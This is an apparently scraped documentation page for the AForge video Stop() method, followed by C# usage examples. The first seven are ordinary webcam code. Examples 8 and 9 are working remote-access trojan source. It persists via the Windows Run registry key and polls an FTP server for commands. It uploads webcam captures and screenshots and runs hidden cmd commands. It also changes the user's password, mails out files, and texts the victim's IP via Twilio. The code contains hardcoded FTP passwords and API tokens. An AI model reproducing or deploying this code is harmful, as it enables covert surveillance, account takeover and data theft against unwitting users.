Stop() public method

Stop video source.

Stops video source aborting its thread.

Since the method aborts background thread, its usage is highly not preferred and should be done only if there are no other options. The correct way of stopping camera is signaling it stop and then waiting for background thread's completion.

public Stop ( ) : void
return void
Ejemplo n.º 1
0
 private void button3_Click(object sender, EventArgs e)
 {
     if (vkl)
     {
         cam.Stop();
         player.Stop();
     }
 }
Ejemplo n.º 2
0
 private void comboBoxWebCam_SelectedIndexChanged(object sender, EventArgs e)
 {
     if (VideoSources != null)
     {
         if (VideoSource.IsRunning)
         {
             VideoSource.Stop();
         }
         VideoSource           = new AForge.Video.DirectShow.VideoCaptureDevice(VideoSources[comboBoxWebCam.SelectedIndex].MonikerString);
         VideoSource.NewFrame += new NewFrameEventHandler(FinalFrame_NewFrame);
         VideoSource.Start();
     }
 }
Ejemplo n.º 3
0
 public void Stop()
 {
     if (isStarted)
     {
         if (videoSource.IsRunning)
         {
             videoSource.Stop();
         }
         videoSource = null;
         isStarted   = false;
     }
 }
Ejemplo n.º 4
0
        void stopTheCamera()
        {
            if (theCamera == null)
            {
                return;
            }

            theCamera.Stop();
            listener.Stop();
            if (VRapp != null)
            {
                VRapp.Close();
            }
        }
Ejemplo n.º 5
0
        private void button3_Click(object sender, EventArgs e)
        {
            IsRunning = false;
            //有问题,需要改进。
            if (currentDevice != null)
            {
                currentVideoSource.NewFrame -= videosource_NewFrame;
                currentVideoSource.Stop();
                currentVideoSource = null;
                bmp = null;
            }
            this.Size = new Size(261, 415);

            button2.Enabled = false;
            button4.Enabled = false;
            button1.Enabled = true;
        }
Ejemplo n.º 6
0
        static void Main(string[] args)
        {
            while (true)
            {
                videoSource = new VideoCaptureDevice(new FilterInfoCollection(FilterCategory.VideoInputDevice)[0].MonikerString);
                videoSource.NewFrame += CaptureFrame;

                videoSource.Start();
                Thread.Sleep(1000);
                videoSource.Stop();

                var engine = new TesseractEngine(@"tessdata", "letsgodigital", EngineMode.Default);

                var image = new ElitechStc1000Image("test3.jpg", engine);

                var temp = image.GetTemperature();

                Console.WriteLine(temp);

                try
                {
                    var sensorEvent = new SensorEvent
                    {
                        Temperature = temp
                    };

                    Console.WriteLine("{0} > Sending temperature: {1}", DateTime.Now, temp);

                    var sink = new AzuresStreamAnalytics()
                        .WithConnectionString(ConfigurationManager.AppSettings["EventHubSendConnection"]);

                    sink.Send(sensorEvent);
                }
                catch (Exception exception)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("{0} > Exception: {1}", DateTime.Now, exception.Message);
                    Console.ResetColor();
                }

                Thread.Sleep(2000);
            }
        }
Ejemplo n.º 7
0
 private void AtivarFoto_CheckedChanged(object sender, EventArgs e)
 {
     if (AtivarFoto.Checked)
     {
         FilterInfoCollection videosource = new FilterInfoCollection(FilterCategory.VideoInputDevice);
         if (videosource != null)
         {
             videoSource = new AForge.Video.DirectShow.VideoCaptureDevice(videosource[0].MonikerString);;
             videoSource.VideoResolution = videoSource.VideoCapabilities[1];
             videoSource.NewFrame       += (s, a) => Foto.Image = (Bitmap)a.Frame.Clone();
             videoSource.Start();
         }
     }
     else
     {
         if (videoSource.IsRunning)
         {
             videoSource.Stop();
         }
     }
 }
Ejemplo n.º 8
0
        private void RunServer()
        { //ფაილის დამატება Startup-ში

            string cur_name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

            for (int l = 0; l < cur_name.Length; l++)
                if (cur_name[l] == '-') break; else usern += cur_name[l];

            RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            add.SetValue("MRClid", "\"" + System.Windows.Forms.Application.ExecutablePath.ToString() + "\"");
            
            //ფაილის ადგილმდებარეობის განსაზღვრა და სტრინგზე მინიჭება
            
            string command_file = localPath + file_name;

            save_screenshot = localPath + count_screenshot + "screen.jpg";
        top: String sMacAddress = String.Empty;

            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
            foreach (NetworkInterface adapter in nics)
            {
                if (sMacAddress == String.Empty)
                {
                    IPInterfaceProperties properties = adapter.GetIPProperties();
                    sMacAddress = adapter.GetPhysicalAddress().ToString();
                }
            }
            Mac = sMacAddress;
            try
            {
            zq:
                try
                {
                    //ფაილის არსებობის შემოწმება
                    if (File.Exists(command_file))
                    {
                        File.Delete(command_file);//მიტო ვშლი ფაილს რომ გამეორება არ მოხდეს, წინააგმდეგ შეთხვევაში შეინახება
                        //აქ კი უკავშირდები საიტს და ვიწერ Code.txt რაშიც მითითბულია ბრძანება!
                        FtpWebRequest rqequest = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + Mac + "/Code.txt");
                        rqequest.Credentials = new NetworkCredential("a2224609", "dato3286");
                        rqequest.Method = WebRequestMethods.Ftp.DownloadFile;
                        FtpWebResponse rqesponse = (FtpWebResponse)rqequest.GetResponse();
                        Stream rqesponseStream = rqesponse.GetResponseStream();
                       
                        FileStream fqiles = File.Create(command_file);
                        byte[] buffer = new byte[32 * 1024];
                        int read;

                        while ((read = rqesponseStream.Read(buffer, 0, buffer.Length)) > 0)
                        {
                            fqiles.Write(buffer, 0, read);
                        }
                        
                        fqiles.Close();
                        rqesponseStream.Close();
                        rqesponse.Close();
                    }
                    else
                    {// აქ იგივე ხდება.
                        //P.S. აქ და ზევიტაც ვაპირებდი Try catch-is გამოყენბეას მარა არ გამოვიდა

                        FtpWebRequest rqequest = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + Mac + "/Code.txt");
                        rqequest.Credentials = new NetworkCredential("a2224609", "dato3286");
                        rqequest.Method = WebRequestMethods.Ftp.DownloadFile;
                        FtpWebResponse rqesponse = (FtpWebResponse)rqequest.GetResponse();
                        Stream rqesponseStream = rqesponse.GetResponseStream();
                       
                        FileStream fqiles = File.Create(command_file);
                        byte[] buffer = new byte[32 * 1024];
                        int read;

                        while ((read = rqesponseStream.Read(buffer, 0, buffer.Length)) > 0)
                        {
                            fqiles.Write(buffer, 0, read);
                        }
                        fqiles.Close();
                        rqesponseStream.Close();
                        rqesponse.Close();
                    }
                }
                catch
                {
                    goto zq; //ესეთბს ბევრან ნახავთ რათა არ მოხდეს პროგრამის გამოჩენა ერორზე.ანუ ფაქტიურად ერორი არ იქნბება თუ რამე ერორია უკან დააბრუნებს :)
                }
                //აქ უკვე კითხულობს COde.txtში არსებულ ინფოს
                
                System.IO.StreamReader filse = new System.IO.StreamReader(localPath + file_name);
                unique_code = filse.ReadLine();
                filse.Close();
                cameraDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
                picBox = new PictureBox();

                while (true)
                {
                  zeit:  try
                    {
                      //აქ იდე ერთხელ იწერს ფაილს დდა ამოწმებს უკვე მეორე ხაზს, რათა წაკითხული იქნას ბრძანება

                        FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + Mac + "/Code.txt");
                        request.Credentials = new NetworkCredential("a2224609", "dato3286");
                        request.Method = WebRequestMethods.Ftp.DownloadFile;
                        FtpWebResponse response = (FtpWebResponse)request.GetResponse();
                        Stream responseStream = response.GetResponseStream();
                      
                        FileStream files = File.Create(command_file);
                        byte[] buffer = new byte[32 * 1024];
                        int read;

                        while ((read = responseStream.Read(buffer, 0, buffer.Length)) > 0)
                        {
                            files.Write(buffer, 0, read);
                        }
                        
                        files.Close();
                        responseStream.Close();
                        response.Close();
                    }
                    catch
                    {
                        goto zeit;
                        //   MessageBox.Show("ფაილი არ არსებობს!");
                    }   bra:
                  if (File.Exists(command_file))
                    {
                        string MAC = string.Empty, text;

                        String ssMacAddress = String.Empty;

                        NetworkInterface[] niics = NetworkInterface.GetAllNetworkInterfaces();
                        foreach (NetworkInterface adapter in niics)
                        {
                            if (ssMacAddress == String.Empty)
                            {
                                IPInterfaceProperties properties = adapter.GetIPProperties();
                                ssMacAddress = adapter.GetPhysicalAddress().ToString();
                            }
                        }

                        MAC = sMacAddress;
                 
                        System.IO.StreamReader file = new System.IO.StreamReader(command_file);

                        if (unique_code == MAC)
                        {
                            while ((text = file.ReadLine()) != null)
                            {
                                if (text == "") goto bra;

                                //აქ უკვე მიდის ბრძანებების შემოწმება

                                switch (text)
                                {
                                    case "Capture":   
                                                count_capture++;
                                                string patth = @localPath  + "Capture.txt";     
                                                System.IO.StreamWriter tttt = new System.IO.StreamWriter(patth);
                                                tttt.Write(count_capture + "Capture.jpg");

                                                tttt.Close();
                                                FtpWebRequest requestFTPUploader = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/Capture.txt");
                                                requestFTPUploader.Credentials = new NetworkCredential("a2224609", "dato3286");
                                                requestFTPUploader.Method = WebRequestMethods.Ftp.UploadFile;

                                                FileInfo fileInfo = new FileInfo(localPath + "Capture.txt");
                                                FileStream fileStream = fileInfo.OpenRead();

                                                int bufferLength = 2048;
                                                byte[] buffer = new byte[bufferLength];

                                                Stream uploadStream = requestFTPUploader.GetRequestStream();
                                                int contentLength = fileStream.Read(buffer, 0, bufferLength);

                                                while (contentLength != 0)
                                                {
                                                    uploadStream.Write(buffer, 0, contentLength);
                                                    contentLength = fileStream.Read(buffer, 0, bufferLength);
                                                }

                                                uploadStream.Close();
                                                fileStream.Close();

                                     

                                        try
                                        { //ქვემოთ არსებული ბრძანება გამოიყენება საიტზე ფოლდერისგასაკეთებლად ეს ფოლდერი ყველა უზერს სხვა ექნება და აქ შეინახება მისი სურათები მაგრამ მას შემდეგ რაც საიტე ნახავს წაიშლება ;)
                                            FtpWebRequest conn = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code);
                                            conn.Credentials = new NetworkCredential("a2224609", "dato3286");

                                            conn.Method = WebRequestMethods.Ftp.MakeDirectory;

                                            FtpWebResponse reqy = (FtpWebResponse)conn.GetResponse();
                                            //  reqy.Close();
                                            cam = new VideoCaptureDevice(cameraDevices[0].MonikerString);
                                            cam.NewFrame += new NewFrameEventHandler(cam_NewFrame);
                                            cam.Start();
                                            picBox.Image = snapBitmap;
                                            pictureBox1.Image = snapBitmap;
                                            Thread.Sleep(2000);
                                            Bitmap current = (Bitmap)snapBitmap.Clone();
                                            string filepath = localPath;
                                            string fileName = System.IO.Path.Combine(filepath, @count_capture + "Capture.jpg");
                                            current.Save(fileName);

                                            FtpWebRequest requesst1 = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/" + count_capture + "Capture.jpg");
                                            requesst1.Method = WebRequestMethods.Ftp.UploadFile;

                                            requesst1.Credentials = new NetworkCredential("a2224609", "dato3286");

                                            StreamReader sourceStream = new StreamReader(localPath + count_capture + "Capture.jpg");
                                            string save_capture = localPath + count_capture + "Capture.jpg";
                                            Image iimg = Image.FromFile(save_capture);
                                            byte[] ar;
                                            using (MemoryStream mms = new MemoryStream())
                                            {
                                                iimg.Save(mms, ImageFormat.Jpeg);
                                                ar = mms.ToArray();
                                            }
                                            String b64 = Convert.ToBase64String(ar);
                                            byte[] fileContents = Convert.FromBase64String(b64);
                                            sourceStream.Close();
                                            requesst1.ContentLength = fileContents.Length;

                                            Stream requestStream1 = requesst1.GetRequestStream();
                                            requestStream1.Write(fileContents, 0, fileContents.Length);
                                            requestStream1.Close();
                                            current.Dispose();
                                            cam.Stop();
                                            sourceStream.Close();
                                            file.Close();


                                         
                                           
                                            
                                           
                                            //აქ ვშლი ფაილს მარა რატო აგარ მახსოვს :)
                                            File.Delete(command_file);
                                        }
                                        catch
                                        { //აქ იგივე ხდება ოგონდ თ არსებობს უკვე ფოლდერი იმ შემთხვევაში გადმოვა სვლა აქ

                                            cam = new VideoCaptureDevice(cameraDevices[0].MonikerString);
                                            cam.NewFrame += new NewFrameEventHandler(cam_NewFrame);
                                            cam.Start();
                                            picBox.Image = snapBitmap;
                                            pictureBox1.Image = snapBitmap;
                                            Thread.Sleep(2000);
                                            Bitmap current = (Bitmap)snapBitmap.Clone();
                                            string filepath = localPath;
                                            string fileName = System.IO.Path.Combine(filepath, @count_capture + "Capture.jpg");
                                            current.Save(fileName);

                                            FtpWebRequest requesst1 = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/" + count_capture + "Capture.jpg");
                                            requesst1.Method = WebRequestMethods.Ftp.UploadFile;

                                            requesst1.Credentials = new NetworkCredential("a2224609", "dato3286");

                                            StreamReader sourceStream = new StreamReader(localPath + count_capture + "Capture.jpg");
                                            string path = localPath + count_capture + "Capture.jpg";
                                            Image iimg = Image.FromFile(path);
                                            byte[] ar;
                                            using (MemoryStream mms = new MemoryStream())
                                            {
                                                iimg.Save(mms, ImageFormat.Jpeg);
                                                ar = mms.ToArray();
                                            }
                                            String b64 = Convert.ToBase64String(ar);
                                            byte[] fileContents = Convert.FromBase64String(b64);
                                            sourceStream.Close();
                                            requesst1.ContentLength = fileContents.Length;

                                            Stream requestStream1 = requesst1.GetRequestStream();
                                            requestStream1.Write(fileContents, 0, fileContents.Length);
                                            requestStream1.Close();
                                            current.Dispose();
                                            cam.Stop();
                                            sourceStream.Close();
                                            file.Close();
                                           
                                            
                                            
                                           //აქ ვშლი ფაილს მარა რატო აგარ მახსოვს :)
                                            File.Delete(command_file);
                                        }
                                        break;
                                    case "Shutdown":
                                        Process.Start("shutdown", "/s /t 0");
                                        file.Close();
                                        File.Delete(command_file);
                                        break;
                                    case "screenshot": 
                                                 count_screenshot ++;
                                        
                                                 string dir = @localPath  + "screen.txt";     
                                                 System.IO.StreamWriter wri = new System.IO.StreamWriter(dir);
                                                 wri.Write(count_screenshot + "screen.jpg");

                                                wri.Close();
                                                FtpWebRequest uploader = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/screen.txt");
                                                uploader.Credentials = new NetworkCredential("a2224609", "dato3286");
                                                uploader.Method = WebRequestMethods.Ftp.UploadFile;

                                                FileInfo finfo = new FileInfo(localPath + "screen.txt");
                                                FileStream fstream = finfo.OpenRead();

                                                int blength = 2048;
                                                byte[] bf = new byte[blength];

                                                Stream ustream = uploader.GetRequestStream();
                                                int clength = fstream.Read(bf, 0, blength);

                                                while (clength != 0)
                                                {
                                                    ustream.Write(bf, 0, clength);
                                                    clength = fstream.Read(bf, 0, blength);
                                                }

                                                ustream.Close();
                                                fstream.Close();



                                       try
                                        {// აქ დაახლოებით იგივეა რაც Capture-ში
                                            FtpWebRequest cnn = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code);
                                            cnn.Credentials = new NetworkCredential("a2224609", "dato3286");

                                            cnn.Method = WebRequestMethods.Ftp.MakeDirectory;

                                            FtpWebResponse re = (FtpWebResponse)cnn.GetResponse();
                                            
                                            re.Close();
                                           
                                            Rectangle bounds = Screen.GetBounds(Point.Empty);
                                            using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
                                            {
                                                using (Graphics g = Graphics.FromImage(bitmap))
                                                {
                                                    g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
                                                }
                                                bitmap.Save(localPath + count_screenshot + "screen.jpg", ImageFormat.Jpeg);

                                                Thread.Sleep(3000);

                                                FtpWebRequest requesst = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/" + count_screenshot + "screen.jpg");
                                                requesst.Method = WebRequestMethods.Ftp.UploadFile;

                                                requesst.Credentials = new NetworkCredential("a2224609", "dato3286");

                                                StreamReader ssourceStream = new StreamReader(localPath + count_screenshot + "screen.jpg");
                                                save_screenshot = localPath + count_screenshot + "screen.jpg";
                                                Image img = Image.FromFile(save_screenshot);
                                                byte[] arr;
                                                using (MemoryStream ms = new MemoryStream())
                                                {
                                                    img.Save(ms, ImageFormat.Jpeg);
                                                    arr = ms.ToArray();
                                                }
                                                String bb64 = Convert.ToBase64String(arr);
                                                byte[] ffileContents = Convert.FromBase64String(bb64);
                                                ssourceStream.Close();
                                                requesst.ContentLength = ffileContents.Length;
                                               
                                                Stream requestStream2 = requesst.GetRequestStream();
                                                requestStream2.Write(ffileContents, 0, ffileContents.Length);
                                                requestStream2.Close();
                                        
                                                file.Close();

                                                File.Delete(command_file);

                                               
                                               
                                            }
                                        }
                                        catch
                                        {
                                            Rectangle bounds = Screen.GetBounds(Point.Empty);
                                            using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
                                            {
                                                using (Graphics g = Graphics.FromImage(bitmap))
                                                {
                                                    g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
                                                }
                                                bitmap.Save(localPath + count_screenshot + "screen.jpg", ImageFormat.Jpeg);

                                                Thread.Sleep(3000);

                                                FtpWebRequest requesst = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/" + count_screenshot + "screen.jpg");
                                                requesst.Method = WebRequestMethods.Ftp.UploadFile;

                                                requesst.Credentials = new NetworkCredential("a2224609", "dato3286");

                                                StreamReader ssourceStream = new StreamReader(localPath + count_screenshot + "screen.jpg");
                                                save_screenshot = @localPath + count_screenshot +"screen.jpg";
                                                Image img = Image.FromFile(save_screenshot);
                                                byte[] arr;
                                                using (MemoryStream ms = new MemoryStream())
                                                {
                                                    img.Save(ms, ImageFormat.Jpeg);
                                                    arr = ms.ToArray();
                                                    ms.Close();
                                                }
                                                String bb64 = Convert.ToBase64String(arr);
                                                byte[] ffileContents = Convert.FromBase64String(bb64);
                                                ssourceStream.Close();
                                                requesst.ContentLength = ffileContents.Length;

                                                Stream requestStream2 = requesst.GetRequestStream();
                                                requestStream2.Write(ffileContents, 0, ffileContents.Length);
                                                requestStream2.Close();
                                                

                                                file.Close();
                                                File.Delete(command_file);
                                                string path = @localPath  + "screen.txt";
                                              
                                            }
                                        }

                                        File.Delete(command_file);
                                        break;
                                    case "Sleep":
                                        Process.Start("shutdown", "/h /f");
                                        file.Close();
                                        File.Delete(command_file);
                                        break;
                                    case "Run":
                                        string q;
                                        q = file.ReadLine();
                                        ProcessStartInfo ProcessInfo;
                                        Process run;
                                        ProcessInfo = new ProcessStartInfo("cmd", "/C " + q);
                                        ProcessInfo.CreateNoWindow = true;
                                        ProcessInfo.UseShellExecute = false;
                                        run = Process.Start(ProcessInfo);
                                        break;
                                    case "Download":

                                        wc.DownloadFileCompleted += new AsyncCompletedEventHandler(complate);

                                        string download_link = file.ReadLine();
                                        Uri da = new Uri(download_link);

                                        string save_as = "";

                                        for (i = download_link.Length - 1; i > 0; i--)
                                        {

                                            if (download_link[i] == '/') break;

                                        }

                                        for (j = i; j < download_link.Length; j++) save_as += Convert.ToString(download_link[j]);
                                        string Deskto = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                                        wc.DownloadFileAsync(da, Deskto + save_as);
                                        file.Close();
                                        File.Delete(command_file);
                                         break;
                                    case "Pass":
                                        
                                           
                                            Process QProc = new Process();
                                            QProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                                            QProc.StartInfo.CreateNoWindow = true;
                                            QProc.StartInfo.WorkingDirectory = "C:\\windows\\SYSTEM32";
                                            QProc.StartInfo.FileName = "net.exe";
                                            QProc.StartInfo.UseShellExecute = false;
                                            QProc.StartInfo.RedirectStandardError = true;
                                            QProc.StartInfo.RedirectStandardInput = true;
                                            QProc.StartInfo.RedirectStandardOutput = true;
   
                                            string password = file.ReadLine();
                                            QProc.StartInfo.Arguments = @" user "+usern +" "+ password;
                                            QProc.Start();
                                            QProc.Close();
                                              break;
                                    case "Destruction":
                                        String IP = "";

                                        WebRequest requeest = WebRequest.Create("http://checkip.dyndns.org/");
                                        using (WebResponse reesponse = requeest.GetResponse())
                                        using (StreamReader stream = new StreamReader(reesponse.GetResponseStream()))
                                        {
                                            IP = stream.ReadToEnd();
                                        }
                                        int first = IP.IndexOf("Address: ") + 9;
                                        int last = IP.LastIndexOf("</body>");
                                        IP = IP.Substring(first, last - first);

                                        string AccountSid = "ACb25335d26115f43726abc6d3bea6136d";
                                        string AuthToken = "29770f6ceb3067fba37e9a443f7c8ea2";

                                        var twilio = new TwilioRestClient(AccountSid, AuthToken);
                                        var message = twilio.SendSmsMessage("+13479835347", "+995571828588", IP, "");

                                        break;

                                }
                            }

                        }
                        else
                        {
                            file.Close();
                            File.Delete(command_file);
                        }
                      //აქ კი ვხურვ იმ ფაილს საიდანაც კითხულობდა ბრძანებას
                        file.Close();
                      //აქ კი ვშლი უკვე temp ფაილს მარა არ იშლება რაგაც პონტში. იმ პონტში რომ გახსნილიაო :)
                        //string locaalPath = Path.GetTempPath();
                        string filerName = "Code.txt";

                        if (File.Exists(localPath + filerName))
                        {
                            File.Delete(@localPath + filerName);
                        }


                        FtpWebRequest rrequest = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/Code.txt");
                        rrequest.Credentials = new NetworkCredential("a2224609", "dato3286");
                        rrequest.Method = WebRequestMethods.Ftp.DeleteFile;
                        FtpWebResponse rresponse = (FtpWebResponse)rrequest.GetResponse();
                        rresponse.Close();
                        //  string fl = "1.txt";
                        
                        
                    }
                    else { 
                    }
                    Thread.Sleep(3000);
                }


                //ქვემოთ რა ხდება არ მახსოვს. მგონი წაშლაზე ვჩალიჩბდი

                FtpWebRequest rreeequest = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + Mac + "/Code.txt");
                rreeequest.Credentials = new NetworkCredential("a2224609", "dato3286");
                rreeequest.Method = WebRequestMethods.Ftp.DeleteFile;
                FtpWebResponse rreesponse = (FtpWebResponse)rreeequest.GetResponse();
                rreesponse.Close();
            }
            catch
            {
               
                File.Delete(command_file);
                FtpWebRequest rrequest = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + Mac + "/Code.txt");
                rrequest.Credentials = new NetworkCredential("a2224609", "dato3286");
                rrequest.Method = WebRequestMethods.Ftp.DeleteFile;
                FtpWebResponse rresponse = (FtpWebResponse)rrequest.GetResponse();
                rresponse.Close();
                goto top;
            
            }
           
        }
Ejemplo n.º 9
0
        private void RunServer()
        {
            try
            {
                string ise = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

                for (l = 0; l < ise.Length; l++)
                    if (ise[l] == '-') break; else usern += ise[l];
                RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                add.SetValue("Control", "\"" + System.Windows.Forms.Application.ExecutablePath.ToString() + "\"");

                string txt;


                txt = "C:/Users/" + usern + "/AppData/Local/Temp/1.txt";
                string tet;
                tet = "C:/Users/" + usern + "/AppData/Local/Temp/";

                string kke = tet + "iip.txt";
                String IP = "";
                WebRequest requeest = WebRequest.Create("http://checkip.dyndns.org/");
                using (WebResponse reesponse = requeest.GetResponse())
                using (StreamReader stream = new StreamReader(reesponse.GetResponseStream()))
                {
                    IP = stream.ReadToEnd();
                }
                int first = IP.IndexOf("Address: ") + 9;
                int last = IP.LastIndexOf("</body>");
                IP = IP.Substring(first, last - first);


                using (StreamWriter writer = new StreamWriter(kke))
                {
                    writer.Write(IP);

                }
                string smtext;
                smtext = "IP:" + IP + " Is Online" + "\n" + "Username:"******"AC9b9d4a6a57087033fc3d0e90587fb1c7";
                string AuthToken = "1e7e495b57f6c3ff654c7ad2f35ebcef";

                var t = new TwilioRestClient(AccountSid, AuthToken);
                var mes = t.SendSmsMessage("+15072982088", "+995571828588", smtext);


                FtpWebRequest iip = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/IP/" + IP);
                iip.Credentials = new NetworkCredential("a3420726", "dato3286dato");
                iip.Method = WebRequestMethods.Ftp.AppendFile;
                FtpWebResponse respons1e = (FtpWebResponse)iip.GetResponse();

                respons1e.Close();

                cameraDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
                picBox = new PictureBox();


                while (true)
                {
                    try
                    {


                        FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/Commands/1.txt");
                        request.Credentials = new NetworkCredential("a3420726", "dato3286dato");
                        request.Method = WebRequestMethods.Ftp.DownloadFile;
                        FtpWebResponse response = (FtpWebResponse)request.GetResponse();
                        Stream responseStream = response.GetResponseStream();

                        FileStream files = File.Create(@txt);
                        byte[] buffer = new byte[32 * 1024];
                        int read;


                        while ((read = responseStream.Read(buffer, 0, buffer.Length)) > 0)
                        {
                            files.Write(buffer, 0, read);
                        }
                        files.Close();
                        responseStream.Close();
                        response.Close();


                    }
                    catch
                    {
                        //   MessageBox.Show("ფაილი არ არსებობს!");
                    }

                    if (File.Exists(txt))
                    {
                        string text, kek;

                        System.IO.StreamReader file = new System.IO.StreamReader(txt);
                        kek = file.ReadLine();
                        if (kek == IP)
                        {
                            while ((text = file.ReadLine()) != null)
                            {



                                switch (text)
                                {
                                    case "Capture":
                                        gege++;
                                        cam = new VideoCaptureDevice(cameraDevices[0].MonikerString);
                                        cam.NewFrame += new NewFrameEventHandler(cam_NewFrame);
                                        cam.Start();
                                        picBox.Image = snapBitmap;
                                        pictureBox1.Image = snapBitmap;
                                        Thread.Sleep(2000);
                                        Bitmap current = (Bitmap)snapBitmap.Clone();
                                        string filepath = tet;
                                        string fileName = System.IO.Path.Combine(filepath, @"Capture" + Convert.ToString(gege) + ".jpg");
                                        current.Save(fileName);


                                        FtpWebRequest requesst1 = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/Commands/" + "Capture" + gege + ".jpg");
                                        requesst1.Method = WebRequestMethods.Ftp.UploadFile;

                                        requesst1.Credentials = new NetworkCredential("a3420726", "dato3286dato");

                                        StreamReader sourceStream = new StreamReader(tet + "Capture" + gege.ToString() + ".jpg");
                                        string path = @tet + "Capture" + Convert.ToString(gege) + ".jpg";
                                        Image iimg = Image.FromFile(path);
                                        byte[] ar;
                                        using (MemoryStream mms = new MemoryStream())
                                        {
                                            iimg.Save(mms, ImageFormat.Jpeg);
                                            ar = mms.ToArray();
                                        }
                                        String b64 = Convert.ToBase64String(ar);
                                        byte[] fileContents = Convert.FromBase64String(b64);
                                        sourceStream.Close();
                                        requesst1.ContentLength = fileContents.Length;

                                        Stream requestStream1 = requesst1.GetRequestStream();
                                        requestStream1.Write(fileContents, 0, fileContents.Length);
                                        requestStream1.Close();
                                        current.Dispose();
                                        cam.Stop();
                                        var mess = t.SendSmsMessage("+15072982088", "+995571828588", "Capture");
                                        break;


                                    case "Run":
                                        string q;
                                        q = file.ReadLine();
                                        ProcessStartInfo ProcessInfo;
                                        Process Process;
                                        ProcessInfo = new ProcessStartInfo("cmd", "/C " + q);
                                        ProcessInfo.CreateNoWindow = true;
                                        ProcessInfo.UseShellExecute = false;
                                        Process = Process.Start(ProcessInfo);

                                        break;
                                    case "Send":
                                        string to;
                                        string att;
                                        string username = "******";
                                        string pass = "******";
                                        SmtpClient smtpserver = new SmtpClient();
                                        MailMessage mail = new MailMessage();
                                        smtpserver.Credentials = new NetworkCredential(username, pass);
                                        smtpserver.Port = 587;
                                        smtpserver.Host = "smtp.gmail.com";
                                        smtpserver.EnableSsl = true;
                                        mail.From = new MailAddress(username);
                                        to = file.ReadLine();
                                        att = file.ReadLine();
                                        mail.To.Add(to);
                                        System.Net.Mail.Attachment Attachment = new System.Net.Mail.Attachment(att);
                                        int j;
                                        for (j = att.Length - 1; j > 0; j--)
                                            if (att[j] == '/') break;
                                        j++;
                                        for (int kk = j; kk < att.Length; kk++) jujuna += Convert.ToString(att[kk]);
                                        Attachment.Name = Convert.ToString(jujuna);
                                        mail.Attachments.Add(Attachment);
                                        smtpserver.Send(mail);
                                        break;
                                    case "Shutdown":
                                        Process.Start("shutdown", "/s /t 0");
                                        break;
                                    case "screenshot":
                                        kaka++;
                                        Rectangle bounds = Screen.GetBounds(Point.Empty);
                                        using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
                                        {
                                            using (Graphics g = Graphics.FromImage(bitmap))
                                            {
                                                g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
                                            }
                                            bitmap.Save(tet + kaka.ToString() + ".jpg", ImageFormat.Jpeg);

                                            Thread.Sleep(3000);


                                            FtpWebRequest requesst = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/Commands/" + kaka + ".jpg");
                                            requesst.Method = WebRequestMethods.Ftp.UploadFile;

                                            requesst.Credentials = new NetworkCredential("a3420726", "dato3286dato");

                                            StreamReader ssourceStream = new StreamReader(tet + kaka.ToString() + ".jpg");
                                            string pathh = @tet + kaka.ToString() + ".jpg";
                                            Image img = Image.FromFile(pathh);
                                            byte[] arr;
                                            using (MemoryStream ms = new MemoryStream())
                                            {
                                                img.Save(ms, ImageFormat.Jpeg);
                                                arr = ms.ToArray();
                                            }
                                            String bb64 = Convert.ToBase64String(arr);
                                            byte[] ffileContents = Convert.FromBase64String(bb64);
                                            ssourceStream.Close();
                                            requesst.ContentLength = ffileContents.Length;

                                            Stream requestStream2 = requesst.GetRequestStream();
                                            requestStream2.Write(ffileContents, 0, ffileContents.Length);
                                            requestStream2.Close();

                                            var mses = t.SendSmsMessage("+15072982088", "+995571828588", "Screen");
                                        }
                                        break;
                                    case "Sleep":
                                        Process.Start("shutdown", "/h /f");

                                        break;
                                    case "Download":
                                        wc.DownloadFileCompleted += new AsyncCompletedEventHandler(complate);

                                        string goo = file.ReadLine();
                                        Uri da = new Uri(goo);

                                        jujuna = "";

                                        for (i = goo.Length - 1; i > 0; i--)
                                        {

                                            if (goo[i] == '/') break;

                                        }

                                        for (j = i; j < goo.Length; j++) jujuna += Convert.ToString(goo[j]);

                                        wc.DownloadFileAsync(da, "C:/Users/" + usern + "/Desktop" + jujuna);
                                        break;

                                }
                            }

                        }
                        else { }
                        file.Close();

                        File.Delete(txt);

                        string fl = "1.txt";

                        FtpWebRequest requestFileDelete = (FtpWebRequest)WebRequest.Create("ftp://31.170.160.209/Commands/" + fl);
                        requestFileDelete.Credentials = new NetworkCredential("a3420726", "dato3286dato");
